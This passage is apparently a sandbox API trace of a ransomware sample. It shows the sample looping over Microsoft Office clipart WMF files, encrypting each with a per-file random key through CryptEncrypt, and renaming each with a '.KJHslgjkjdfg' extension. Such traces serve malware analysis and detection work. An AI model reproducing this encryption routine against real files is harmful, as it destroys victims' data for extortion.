nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.319] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.319] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.319] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.319] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.319] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.319] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xcbe, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xcbe, lpOverlapped=0x0) returned 1 [0205.319] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xcc0, dwBufLen=0xcc0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xcc0) returned 1 [0205.320] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.320] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xcc0, lpOverlapped=0x0) returned 1 [0205.320] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.320] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.320] SetEndOfFile (hFile=0x130) returned 1 [0205.321] GetProcessHeap () returned 0x2ef0000 [0205.321] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.321] GetProcessHeap () returned 0x2ef0000 [0205.321] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.321] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241773.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241773.wmf.kjhslgjkjdfg")) returned 1 [0205.323] CloseHandle (hObject=0x130) returned 1 [0205.323] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb5d1000, ftCreationTime.dwHighDateTime=0x1be9cdc, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdb5d1000, ftLastWriteTime.dwHighDateTime=0x1be9cdc, nFileSizeHigh=0x0, nFileSizeLow=0x7b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0241781.WMF", cAlternateFileName="")) returned 1 [0205.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241781.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.324] GetProcessHeap () returned 0x2ef0000 [0205.324] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.324] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.324] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.324] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0205.326] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.326] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.327] GetProcessHeap () returned 0x2ef0000 [0205.327] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.327] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.327] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.327] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.327] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.327] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.327] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.327] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.327] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.327] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.327] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.327] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.327] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7b2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7b2, lpOverlapped=0x0) returned 1 [0205.328] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7c0, dwBufLen=0x7c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7c0) returned 1 [0205.328] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.328] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7c0, lpOverlapped=0x0) returned 1 [0205.328] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.328] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x894, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.328] SetEndOfFile (hFile=0x130) returned 1 [0205.331] GetProcessHeap () returned 0x2ef0000 [0205.331] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.331] GetProcessHeap () returned 0x2ef0000 [0205.331] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.331] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241781.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241781.wmf.kjhslgjkjdfg")) returned 1 [0205.332] CloseHandle (hObject=0x130) returned 1 [0205.332] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7938, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0250504.WMF", cAlternateFileName="")) returned 1 [0205.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250504.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.334] GetProcessHeap () returned 0x2ef0000 [0205.334] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.334] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.334] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.334] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.337] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.337] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.337] GetProcessHeap () returned 0x2ef0000 [0205.337] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.337] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.337] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.337] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.337] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.337] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.337] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.337] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.337] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.338] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.338] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.338] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.338] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7938, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7938, lpOverlapped=0x0) returned 1 [0205.339] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7940, dwBufLen=0x7940 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7940) returned 1 [0205.339] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.340] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7940, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7940, lpOverlapped=0x0) returned 1 [0205.340] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.340] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7a14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.340] SetEndOfFile (hFile=0x130) returned 1 [0205.343] GetProcessHeap () returned 0x2ef0000 [0205.343] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.343] GetProcessHeap () returned 0x2ef0000 [0205.343] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.343] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250504.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250504.wmf.kjhslgjkjdfg")) returned 1 [0205.344] CloseHandle (hObject=0x130) returned 1 [0205.345] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6958, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0250997.WMF", cAlternateFileName="")) returned 1 [0205.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250997.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.346] GetProcessHeap () returned 0x2ef0000 [0205.346] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.346] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.346] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.346] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.348] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.348] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.348] GetProcessHeap () returned 0x2ef0000 [0205.348] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.348] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.348] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.348] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.348] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.349] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.349] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.349] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.349] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.349] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.349] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.349] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.349] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6958, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x6958, lpOverlapped=0x0) returned 1 [0205.350] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6960, dwBufLen=0x6960 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6960) returned 1 [0205.350] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.350] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6960, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6960, lpOverlapped=0x0) returned 1 [0205.351] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.351] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6a34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.351] SetEndOfFile (hFile=0x130) returned 1 [0205.354] GetProcessHeap () returned 0x2ef0000 [0205.354] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.354] GetProcessHeap () returned 0x2ef0000 [0205.354] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.354] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250997.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250997.wmf.kjhslgjkjdfg")) returned 1 [0205.355] CloseHandle (hObject=0x130) returned 1 [0205.355] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1100c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0251007.WMF", cAlternateFileName="")) returned 1 [0205.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0251007.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.357] GetProcessHeap () returned 0x2ef0000 [0205.357] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.357] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.357] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.358] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.360] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.360] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.360] GetProcessHeap () returned 0x2ef0000 [0205.360] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.360] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.360] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.360] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.360] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.360] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.360] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.360] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.361] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.361] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.361] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.361] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 